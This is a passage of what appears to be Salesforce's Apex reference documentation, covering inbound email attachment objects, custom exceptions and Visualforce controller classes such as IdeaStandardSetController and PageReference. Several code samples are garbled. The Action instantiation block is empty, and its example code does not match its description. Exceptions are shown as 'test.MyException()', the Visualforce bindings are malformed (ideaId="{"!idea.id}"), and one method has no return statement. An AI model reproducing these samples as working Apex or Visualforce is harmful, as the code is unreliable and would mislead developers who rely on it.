- Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.
InboundEmail.BinaryAttachment Object

An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.

Examples of binary attachments include image, audio, application, and video files.

An InboundEmail.BinaryAttachment object has the following fields.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>body</td>
<td>Blob</td>
<td>The body of the attachment</td>
</tr>
<tr>
<td>fileName</td>
<td>String</td>
<td>The name of the attached file</td>
</tr>
<tr>
<td>mimeTypeSubType</td>
<td>String</td>
<td>The primary and sub MIME-type</td>
</tr>
</tbody>
</table>

InboundEmail.TextAttachment Object

An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.

The text attachments can be any of the following:

- Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
- Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

An InboundEmail.TextAttachment object has the following fields.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>body</td>
<td>String</td>
<td>The body of the attachment</td>
</tr>
<tr>
<td>bodyIsTruncated</td>
<td>Boolean</td>
<td>Indicates whether the attachment body text is truncated (true) or not (false).</td>
</tr>
<tr>
<td>charset</td>
<td>String</td>
<td>The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method.</td>
</tr>
<tr>
<td>fileName</td>
<td>String</td>
<td>The name of the attached file</td>
</tr>
<tr>
<td>mimeTypeSubType</td>
<td>String</td>
<td>The primary and sub MIME-type</td>
</tr>
</tbody>
</table>

InboundEmailResult Object

The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be successful. The InboundEmailResult object has the following fields.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>success</td>
<td>Boolean</td>
<td>A value that indicates whether the email was successfully processed. If false, Salesforce rejects the inbound email and sends a reply email to the original sender containing the message specified in the Message field.</td>
</tr>
<tr>
<td>message</td>
<td>String</td>
<td>A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned by the Success field.</td>
</tr>
</tbody>
</table>
InboundEnvelope Object

The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>toAddress</td>
<td>String</td>
<td>The name that appears in the To field of the envelope, if any</td>
</tr>
<tr>
<td>fromAddress</td>
<td>String</td>
<td>The name that appears in the From field of the envelope, if any</td>
</tr>
</tbody>
</table>

Exception Class

You can create your own exception classes in Apex. Exceptions can be top-level classes, that is, they can have member variables, methods and constructors, they can implement interfaces, and so on.

Exceptions that you create behave as any other standard exception type, and can be thrown and caught as expected.

User-defined exception class names must end with the string `exception`, such as “MyException”, “PurchaseException” and so on. All exception classes automatically extend the system-defined base class `Exception`.

For example, the following code defines an exception type within an anonymous block:

```apex
public class MyException extends Exception {}

try {
    Integer i;
    // Your code here
    if (i < 5) throw new MyException();
} catch (MyException e) {
    // Your MyException handling code here
}
```

Like Java classes, user-defined exception types can form an inheritance tree, and catch blocks can catch any portion. For example:

```apex
public class BaseException extends Exception {}
public class OtherException extends BaseException {}

try {
    Integer i;
    // Your code here
    if (i < 5) throw new OtherException('This is bad');
} catch (BaseException e) {
    // This catches the OtherException
    // Your BaseException handling code here
}
```

This section contains the following topics:

- Constructing an Exception
- Using Exception Variables

See also Using Exception Methods.

Constructing an Exception

You can construct exceptions:
• With no arguments:
  ```java
test.MyException();
```

• With a single String argument that specifies the error message:
  ```java
test.MyException('This is bad');
```

• With a single Exception argument that specifies the cause and that displays in any stack trace:
  ```java
test.MyException(e);
```

• With both a String error message and a chained exception cause that displays in any stack trace:
  ```java
test.MyException('This is bad', e);
```

For example the following code generates a stack trace with information about both `My1Exception` and `My2Exception`:

```java
public class My1Exception extends Exception {}  
public class My2Exception extends Exception {}  
try {  
  throw new My1Exception();  
} catch (My1Exception e) {  
  throw new My2Exception('This is bad', e);  
}
```

The following figure shows the stack trace that results from running the code above:

![Figure 12: Stack Trace For Exceptions (From Debug Log)](image-url)
Using Exception Variables

As in Java, variables, arguments, and return types can be declared of type Exception, which is a system-defined based class in Apex. For example:

```java
Exception e1;
try {
    String s = null;
    s.toLowerCase(); // This will generate a null pointer exception...
} catch (System.NullPointerException e) {
    e1 = e; // ...which can be assigned to a variable, or passed
            // into or out of another method
}
```

Visualforce Classes

In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller extensions:

- A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality that was already provided in a standard controller.

  Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions of the current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's profile.

- A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions allow you to leverage the functionality of another controller while adding your own custom logic.

  Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the current user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can specify whether a user can execute methods in a controller extension based on the user's profile.

This section includes information about the system-supplied Apex classes that can be used when building custom Visualforce controllers and controller extensions. These include:

- **Action Class**
- **Message Class**
- **PageReference Class**
- **SelectOption Class**
- **StandardController Class**
- **StandardSetController Class**

In addition to these classes, the `transient` keyword can be used when declaring methods in controllers and controller extensions. For more information, see Using the `transient` Keyword on page 110.

For more information on Visualforce, see the Visualforce Developer's Guide.

**Action Class**

You can use an `ApexPages.Action` class to create an action method that you can use in a Visualforce custom controller or controller extension. For example, you could create a `saveOver` method on a controller extension that performs a custom save.
**Instantiation**

The following code snippet illustrates how to instantiate a new ApexPages.Action object that uses the save action:

```
```

**Methods**

The action methods are all called by and operate on a particular instance of `Action`.

The table below describes the instance methods for `Action`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>getExpression</code></td>
<td>String</td>
<td>String</td>
<td>Returns the expression that is evaluated when the action is invoked.</td>
</tr>
<tr>
<td><code>invoke</code></td>
<td></td>
<td>System.PageReference</td>
<td>Invokes the action.</td>
</tr>
</tbody>
</table>

**Example**

In the following example, when the user updates or creates a new Account and clicks the `Save` button, in addition to the account being updated or created, the system writes a message to the system debug log. This example extends the standard controller for Account.

The following is the controller extension.

```java
public class myCon{
    public PageReference RedirectToStep2(){
        ...
        return Page.Step2;
    }
}
```

The following is the Visualforce markup for a page that uses the above controller extension.

```xml
<apex:component>
    <apex:attribute name="actionToInvoke" type="ApexPages.Action" .... />
    ...
    <apex:commandButton value="Perform Controller Action" action="{!actionToInvoke}"/>
    ...
</apex:component>

<apex:page controller="pageCon">
    <c:myComp actionToInvoke="{!RedirectToStep2}" />
    ...
</apex:page>
```

For information on the debug log, see “Viewing Debug Logs” in the Salesforce online help.

**IdeaStandardController Class**

IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the `StandardController Class`. 
Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through a limited release program. For information on enabling these classes for your organization, contact your salesforce.com representative.

Instantiation

An IdeaStandardController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension controller when using the standard ideas controller.

Methods


<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getCommentList</td>
<td>IdeaComment[]</td>
<td></td>
<td>Returns the list of read-only comments from the current page. This method returns the following comment properties:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• id</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• commentBody</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• createdDate</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• createdBy.Id</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• createdBy.communityNickname</td>
</tr>
</tbody>
</table>

In addition to the method listed above, the IdeaStandardController class inherits all the methods associated with the StandardController Class. The following table lists these methods.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>addFields</td>
<td>List&lt;String&gt;</td>
<td>Void</td>
<td>When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup. This method adds a reference to each field specified in fieldNames so that the controller can explicitly access those fields as well.</td>
</tr>
<tr>
<td></td>
<td>fieldNames</td>
<td></td>
<td>This method should be called before a record has been loaded—typically, it's called by the controller's constructor. If this method is called outside of the constructor, you must use the <code>reset()</code> method before calling <code>addFields()</code>.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>The strings in <code>fieldNames</code> can either be the API name of a field, such as AccountId, or they can be explicit relationships to fields, such as <code>foo__r.myField__c</code>.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>This method is only for controllers used by dynamicVisualforce bindings.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>--------</td>
<td>--------------------</td>
<td>-----------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getId</td>
<td>String</td>
<td>String</td>
<td>Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL.</td>
</tr>
<tr>
<td>getRecord</td>
<td>SObject</td>
<td>SObject</td>
<td>Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other fields, including fields from any related objects, must be queried using a SOQL expression.</td>
</tr>
<tr>
<td>reset</td>
<td>Void</td>
<td></td>
<td>Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are discarded. This method is only used if addFields is called outside the constructor, and it must be called directly before addFields. This method is only for controllers used by dynamicVisualforce bindings.</td>
</tr>
</tbody>
</table>

**Example**

The following example shows how an IdeaStandardController object can be used in the constructor for a custom list controller. This example provides the framework for manipulating the comment list data before displaying it on a Visualforce page.

```java
public class MyIdeaExtension {

    private final ApexPages.IdeaStandardController ideaController;

    public MyIdeaExtension(ApexPages.IdeaStandardController controller) {
        ideaController = (ApexPages.IdeaStandardController)controller;
    }

    // Method implementations for manipulating the comment list data...
}
```
The following Visualforce markup shows how the IdeaStandardController example shown above can be used in a page. This page must be named detailPage for this example to work.

**Note:** For the Visualforce page to display the idea and its comments, in the following example you need to specify the ID of a specific idea (for example, /apex/detailPage?id=<ideaID>) whose comments you want to view.

```visualforce
<!-- page named detailPage -->
<apex:page standardController="Idea" extensions="MyIdeaExtension">
    <apex:pageBlock title="Idea Section">
        <ideas:detailOutputLink page="detailPage" ideaId="{"!idea.id}">{!idea.title}
        <br/>
        <apex:outputText>{!idea.body}</apex:outputText>
    </apex:pageBlock>
    <apex:pageBlock title="Comments Section">
        <apex:dataList var="a" value="{"modifiedComments}" id="list">
            {!a.commentBody}
        </apex:dataList>
        <ideas:detailOutputLink page="detailPage" ideaId="{"!idea.id}" pageOffset="-1">Prev</ideas:detailOutputLink>
        <ideas:detailOutputLink page="detailPage" ideaId="{"!idea.id}" pageOffset="1">Next</ideas:detailOutputLink>
    </apex:pageBlock>
</apex:page>
```

**See Also:**

*Ideas Class*

### IdeaStandardSetController Class

IdeaStandardSetController objects offer Ideas-specific functionality in additional to what is provided by the StandardSetController Class.

**Note:** The IdeaStandardSetController and IdeaStandardController classes are currently available through a limited release program. For information on enabling these classes for your organization, contact your salesforce.com representative.

### Instantiation

An IdeaStandardSetController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension controller when using the standard list controller for ideas.

### Methods

A method in the IdeaStandardSetController object is called by and operated on a particular instance of an IdeaStandardSetController.
The table below describes the instance method for IdeaStandardSetController.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getIdeaList</td>
<td>Idea[]</td>
<td></td>
<td>Returns the list of read-only ideas in the current page set. You can use the <code>&lt;ideas:listOutputLink&gt;</code>, <code>&lt;ideas:profileListOutputLink&gt;</code>, and <code>&lt;ideas:detailOutputLink&gt;</code> components to display profile pages as well as idea list and detail pages (see the examples below). The following is a list of properties returned by this method: Body, Categories, Category, CreatedBy.CommunityNickname, CreatedBy.Id, CreatedDate, Id, LastCommentDate, LastComment.Id, LastComment.CommentBody, LastComment.CreatedBy.Id, LastComment.CreatedBy.CommunityNickname, NumComments, Status, Title, VoteTotal</td>
</tr>
</tbody>
</table>

In addition to the method listed above, the IdeaStandardSetController class inherits the methods associated with the StandardSetController Class.

**Note**: The methods inherited from the StandardSetController Class cannot be used to affect the list of ideas returned by the getIdeaList method.

The following table lists the inherited methods.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>cancel</td>
<td>System.PageReference</td>
<td></td>
<td>Returns the PageReference of the original page, if known, or the home page.</td>
</tr>
<tr>
<td>first</td>
<td>Void</td>
<td></td>
<td>Returns the first page of records.</td>
</tr>
<tr>
<td>getCompleteResult</td>
<td>Boolean</td>
<td></td>
<td>Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can process using the list controller. The maximum record limit is 10,000 records.</td>
</tr>
<tr>
<td>getFilterId</td>
<td>String</td>
<td></td>
<td>Returns the ID of the filter that is currently in context.</td>
</tr>
<tr>
<td>getHasNext</td>
<td>Boolean</td>
<td></td>
<td>Indicates whether there are more records after the current page set.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>--------------------</td>
<td>-------------------</td>
<td>-------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getHasPrevious</td>
<td>Boolean</td>
<td></td>
<td>Indicates whether there are more records before the current page set.</td>
</tr>
<tr>
<td>getListViewOptions</td>
<td>System.SelectOption[]</td>
<td></td>
<td>Returns a list of the listviews available to the current user.</td>
</tr>
<tr>
<td>getpageNumber</td>
<td>Integer</td>
<td></td>
<td>Returns the page number of the current page set. Note that the first page returns 1.</td>
</tr>
<tr>
<td>getPageSize</td>
<td>Integer</td>
<td></td>
<td>Returns the number of records included in each page set.</td>
</tr>
<tr>
<td>getRecord</td>
<td>sObject</td>
<td></td>
<td>Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the class, and is used for performing mass updates.</td>
</tr>
<tr>
<td>getRecords</td>
<td>sObject[]</td>
<td></td>
<td>Returns the list of sObjects in the current page set. This list is immutable, i.e. you can’t call clear() on it.</td>
</tr>
<tr>
<td>getResultSize</td>
<td>Integer</td>
<td></td>
<td>Returns the number of records in the set.</td>
</tr>
<tr>
<td>getSelected</td>
<td>sObject[]</td>
<td></td>
<td>Returns the list of sObjects that have been selected.</td>
</tr>
<tr>
<td>last</td>
<td>Void</td>
<td></td>
<td>Returns the last page of records.</td>
</tr>
<tr>
<td>next</td>
<td>Void</td>
<td></td>
<td>Returns the next page of records.</td>
</tr>
<tr>
<td>previous</td>
<td>Void</td>
<td></td>
<td>Returns the previous page of records.</td>
</tr>
<tr>
<td>save</td>
<td>System.PageReference</td>
<td></td>
<td>Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to the original page, if known, or the home page.</td>
</tr>
<tr>
<td>setFilterID</td>
<td>String filterId</td>
<td>Void</td>
<td>Sets the filter ID of the controller.</td>
</tr>
<tr>
<td>setPageNumber</td>
<td>Integer pageNumber</td>
<td>Void</td>
<td>Sets the page number.</td>
</tr>
<tr>
<td>setPageSize</td>
<td>Integer pageSize</td>
<td>Void</td>
<td>Sets the number of records in each page set.</td>
</tr>
<tr>
<td>setSelected</td>
<td>sObjects[]</td>
<td>Void</td>
<td>Set the selected records.</td>
</tr>
</tbody>
</table>

Example: Displaying a Profile Page

The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller:

```java
public class MyIdeaProfileExtension {
    private final ApexPages.IdeaStandardSetController ideaSetController;

    public MyIdeaProfileExtension(ApexPages.IdeaStandardSetController controller) {
        ideaSetController = (ApexPages.IdeaStandardSetController)controller;
    }

    public List<Idea> getModifiedIdeas() {
        Idea[] ideas = ideaSetController.getIdeaList();
        // modify ideas here
        return ideas;
    }
}"
```
The following Visualforce markup shows how the IdeaStandardSetController example shown above and the `<ideas:profileListOutputLink>` component can display a profile page that lists the recent replies, submitted ideas, and votes associated with a user. Because this example does not identify a specific user ID, the page automatically shows the profile page for the current logged in user. This page must be named `profilePage` in order for this example to work:

```xml
<!-- page named profilePage -->
<apex:page standardController="Idea" extensions="MyIdeaProfileExtension"
recordSetVar="ideaSetVar">
    <apex:pageBlock>
        <ideas:profileListOutputLink sort="recentReplies" page="profilePage">
            Recent Replies</ideas:profileListOutputLink>
        |<ideas:profileListOutputLink sort="ideas" page="profilePage">
            Ideas Submitted</ideas:profileListOutputLink>
        |<ideas:profileListOutputLink sort="votes" page="profilePage">
            Ideas Voted</ideas:profileListOutputLink>
    </apex:pageBlock>
    <apex:pageBlock>
        <apex:dataList value="{!modifiedIdeas}" var="ideadata">
            <ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage">
                {!ideadata.title}</ideas:detailoutputlink>
        </apex:dataList>
    </apex:pageBlock>
</apex:page>
```

In the previous example, the `<ideas:detailoutputlink>` component links to the following Visualforce markup that displays the detail page for a specific idea. This page must be named `viewPage` in order for this example to work:

```xml
<!-- page named viewPage -->
<apex:page standardController="Idea">
    <apex:pageBlock title="Idea Section">
        <ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">
            {!idea.title}
        </ideas:detailOutputLink>
    </apex:pageBlock>
</apex:page>
```

**Example: Displaying a List of Top, Recent, and Most Popular Ideas and Comments**

The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller:

**Note:** You must have created at least one idea for this example to return any ideas.

```java
public class MyIdeaListExtension {
    private final ApexPages.IdeaStandardSetController ideaSetController;

    public MyIdeaListExtension (ApexPages.IdeaStandardSetController controller) {
        ideaSetController = (ApexPages.IdeaStandardSetController)controller;
    }

    public List<Idea> getModifiedIdeas() {
        Idea[] ideas = ideaSetController.getIdeaList();
    }
```
The following Visualforce markup shows how the IdeaStandardSetController example shown above can be used with the `<ideas:listOutputLink>` component to display a list of recent, top, and most popular ideas and comments. This page must be named `listPage` in order for this example to work:

```xml
<!-- page named listPage -->
<apex:page standardController="Idea" extensions="MyIdeaListExtension"
    recordSetVar="ideaSetVar">
    <apex:pageBlock>
        <ideas:listOutputLink sort="recent" page="listPage">Recent Ideas</ideas:listOutputLink>
        |<ideas:listOutputLink sort="top" page="listPage">Top Ideas</ideas:listOutputLink>
        |<ideas:listOutputLink sort="popular" page="listPage">Popular Ideas</ideas:listOutputLink>
        |<ideas:listOutputLink sort="comments" page="listPage">Recent Comments</ideas:listOutputLink>
    </apex:pageBlock>
    <apex:pageBlock>
        <apex:dataList value="{!modifiedIdeas}" var="ideadata">
            <ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage">{!ideadata.title}</ideas:detailoutputlink>
        </apex:dataList>
    </apex:pageBlock>
</apex:page>
```

In the previous example, the `<ideas:detailoutputlink>` component links to the following Visualforce markup that displays the detail page for a specific idea. This page must be named `viewPage`:

```xml
<!-- page named viewPage -->
<apex:page standardController="Idea">
    <apex:pageBlock title="Idea Section">
        <ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title}</ideas:detailOutputLink>
        <br/>
        <apex:outputText>{!idea.body}</apex:outputText>
    </apex:pageBlock>
</apex:page>
```

See Also:

*Ideas Class*

*KnowledgeArticleVersionStandardController Class*

KnowledgeArticleVersionStandardController objects offer article-specific functionality in addition to what is provided by the `StandardController Class`.

**Methods**

The KnowledgeArticleVersionStandardController object has the following specialized instance methods:
In addition to the method listed above, the KnowledgeArticleVersionStandardController class inherits all the methods associated with the `StandardController` Class. The following table lists the inherited methods.

**Note:** Though inherited, the `edit`, `delete`, and `save` methods don't serve a function when used with the KnowledgeArticleVersionStandardController class.
**Example**

The following example shows how a KnowledgeArticleVersionStandardController object can be used to create a custom extension controller. In this example, you create a class named AgentContributionArticleController that allows customer-support agents to see pre-populated fields on the draft articles they create while closing cases.

**Prerequisites:**

1. Create an article type called FAQ. For instructions, see “Defining Article Types” in the Salesforce online help.
2. Create a text custom field called Details. For instructions, see “Adding Custom Fields to Article Types” in the Salesforce online help.
3. Create a category group called Geography and assign it to a category called USA. For instructions, see “Creating and Modifying Category Groups” in the Salesforce online help and “Adding Data Categories to Category Groups” in the Salesforce online help.
4. Create a category group called Topics and assign it a category called Maintenance.

```java
/** Custom extension controller for the simplified article edit page that appears when an article is created on the close-case page. */
public class AgentContributionArticleController {
    // The constructor must take a ApexPages.KnowledgeArticleVersionStandardController as an argument
    public AgentContributionArticleController(ApexPages.KnowledgeArticleVersionStandardController ctl) { // This is the SObject for the new article.
        // It can optionally be cast to the proper article type.
        // For example, FAQ__kav article = (FAQ__kav) ctl.getRecord();
    }
}
```
SObject article = ctl.getRecord(); // This returns the ID of the case that was closed.
String sourceId = ctl.getSourceId();
Case c = [select subject, description from Case where id=:sourceId];

// This overrides the default behavior of pre-filling the // title of the article with the subject of the closed case.
article.put('title', 'From Case: '+c.subject);
article.put('details__c',c.description);

// Only one category per category group can be specified.
ctl.selectDataCategory('Geography','USA');
ctl.selectDataCategory('Topics','Maintenance');

/** Test for this custom extension controller */
public static testMethod void testAgentContributionArticleController() {
    String caseSubject = 'my test';
    String caseDesc = 'my test description';

    Case c = new Case();
    c.subject = caseSubject;
    c.description = caseDesc;
    insert c;
    String caseId = c.id;
    System.debug('Created Case: ' + caseId);
    ApexPages.currentPage().getParameters().put('sourceId', caseId);
    ApexPages.currentPage().getParameters().put('sfdc.override', '1');
    ApexPages.KnowledgeArticleVersionStandardController ctl =
    new ApexPages.KnowledgeArticleVersionStandardController(new FAQ__kav());
    new AgentContributionArticleController(ctl);
    System.assertEquals(caseId, ctl.getSourceId());
    System.assertEquals('From Case: '+caseSubject, ctl.getRecord().get('title'));
    System.assertEquals(caseDesc, ctl.getRecord().get('details__c'));
}

If you created the custom extension controller for the purpose described in the previous example (that is, to modify submitted-via-case articles), complete the following steps after creating the class:

1. Log into your Salesforce organization and click Your Name ➤ Setup ➤ Customize ➤ Knowledge ➤ Settings.
2. Click Edit.
3. Assign the class to the Use Apex customization field. This associates the article type specified in the new class with the article type assigned to closed cases.
4. Click Save.

Message Class

When using a standard controller, all validation errors, both custom and standard, that occur when the end user saves the page are automatically added to the page error collections. If there is an inputField component bound to the field with an error, the message is added to the components error collection. All messages are added to the pages error collection. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide.

If your application uses a custom controller or extension, you must use the message class for collecting errors.
Instantiation

In a custom controller or controller extension, you can instantiate a Message in one of the following ways:

- `ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary);`

  where `ApexPages.severity` is the enum that is determines how severe a message is, and `summary` is the String used to summarize the message. For example:


- `ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary, detail);`

  where `ApexPages.severity` is the enum that is determines how severe a message is, `summary` is the String used to summarize the message, and `detail` is the String used to provide more detailed information about the error.

Methods

The Message methods are all called by and operate on a particular instance of Message.

The table below describes the instance methods for Message.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getComponentLabel</td>
<td>String</td>
<td>String</td>
<td>Returns the label of the associated inputField component. If no label is defined, this method returns null.</td>
</tr>
<tr>
<td>getDetail</td>
<td>String</td>
<td>String</td>
<td>Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null.</td>
</tr>
<tr>
<td>getSeverity</td>
<td>ApexPages.Severity</td>
<td>String</td>
<td>Returns the severity enum used to create the message.</td>
</tr>
<tr>
<td>getSummary</td>
<td>String</td>
<td>String</td>
<td>Returns the summary String used to create the message.</td>
</tr>
</tbody>
</table>

ApexPages.Severity Enum

Using the `ApexPages.Severity` enum values, specify the severity of the message. The following are the valid values:

- CONFIRM
- ERROR
- FATAL
- INFO
- WARNING

All enums have access to standard methods, such as `name` and `value`.

PageReference Class

A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values.

Use a PageReference object:

- To view or set query string parameters and values for a page
- To navigate the user to a different page as the result of an action method
Instantiation
In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:

- Page.existingPageName

Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will prevent the page from being deleted while the controller or extension exists.

- PageReference pageRef = new PageReference('partialURL');

Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to '/apex/HelloWorld' refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID' refers to the detail page for the specified record.

This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity system. Consequently, the platform doesn’t recognize that this controller or controller extension is dependent on the existence of the specified page and won’t issue an error message to prevent user deletion of the page.

- PageReference pageRef = new PageReference('fullURL');

Creates a PageReference for an external URL. For example:

PageReference pageRef = new PageReference('http://www.google.com');

You can also instantiate a PageReference object for the current page with the currentPage ApexPages method. For example:

PageReference pageRef = ApexPages.currentPage();

Methods
PageReference methods are all called by and operate on a particular instance of a PageReference.

The table below describes the instance methods for PageReference.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getAnchor</td>
<td>String</td>
<td>String</td>
<td>Returns the name of the anchor located on the page.</td>
</tr>
<tr>
<td>getContent</td>
<td>Blob</td>
<td>Blob</td>
<td>Returns the output of the page, as displayed to a user in a Web browser. The content of the returned Blob is dependant on how the page is rendered. If the page is rendered as a PDF, it returns the PDF. If the page is not rendered as a PDF, it returns the HTML. To access the content of the returned HTML as a string, use the toString Blob method.</td>
</tr>
</tbody>
</table>

**Note:** If you use getContent in a test method, a blank PDF is generated when used with a Visualforce page that is supposed to render as PDF.

This method can’t be used in:
- Triggers
- Scheduled Apex
### Reference Visualforce Classes

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getContentAsPDF</td>
<td>Blob</td>
<td>Returns the page as a PDF, regardless of the <code>&lt;apex:page&gt;</code> component's <code>renderAs</code> attribute. This method can't be used in: • Triggers • Scheduled Apex • Batch jobs • Test methods • Apex email services</td>
<td></td>
</tr>
<tr>
<td>getCookies</td>
<td>Map&lt;String, System.Cookie[]&gt;</td>
<td>Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of cookie objects with that name. Used in conjunction with the <code>cookie</code> class. Only returns cookies with the &quot;apex__&quot; prefix set by the <code>setCookies</code> method.</td>
<td></td>
</tr>
<tr>
<td>getHeaders</td>
<td>Map&lt;String, String&gt;</td>
<td>Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of the header. This map can be modified and remains in scope for the PageReference object. For instance, you could do:</td>
<td></td>
</tr>
<tr>
<td>getParameters</td>
<td>Map&lt;String, String&gt;</td>
<td>Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter, while the value string contains the value of the parameter. This map can be modified and remains in scope for the PageReference object. For instance, you could do:</td>
<td></td>
</tr>
<tr>
<td>getRedirect</td>
<td>Boolean</td>
<td>Returns the current value of the PageReference object's <code>redirect</code> attribute. Note that if the URL of the PageReference object is set to a website outside of the <code>salesforce.com</code> domain, the redirect always occurs, regardless of whether the <code>redirect</code> attribute is set to true or false.</td>
<td></td>
</tr>
<tr>
<td>getUrl</td>
<td>String</td>
<td>Returns the URL associated with the PageReference when it was originally defined.</td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>---------------</td>
<td>-----------------</td>
<td>----------------------</td>
<td>----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>setAnchor</td>
<td>String Anchor</td>
<td>System.PageReference</td>
<td>Sets the name of the anchor located on the page.</td>
</tr>
<tr>
<td>setCookies</td>
<td>Cookie[] cookies</td>
<td>Void</td>
<td>Creates a list of cookie objects. Used in conjunction with the cookie class.</td>
</tr>
</tbody>
</table>

Important:
- Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their hexadecimal representation.
- The `setCookies` method adds the prefix “apex__” to the cookie names.
- Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute.
- After you create a cookie, the properties of the cookie can’t be changed.
- Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie value to generate dynamic content, you should disable page caching. For more information, see “Caching Sites Pages” in the Salesforce online help.
- You can only create cookies and set cookie values for a page in the constructor for the page controller (see example).

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>setRedirect</td>
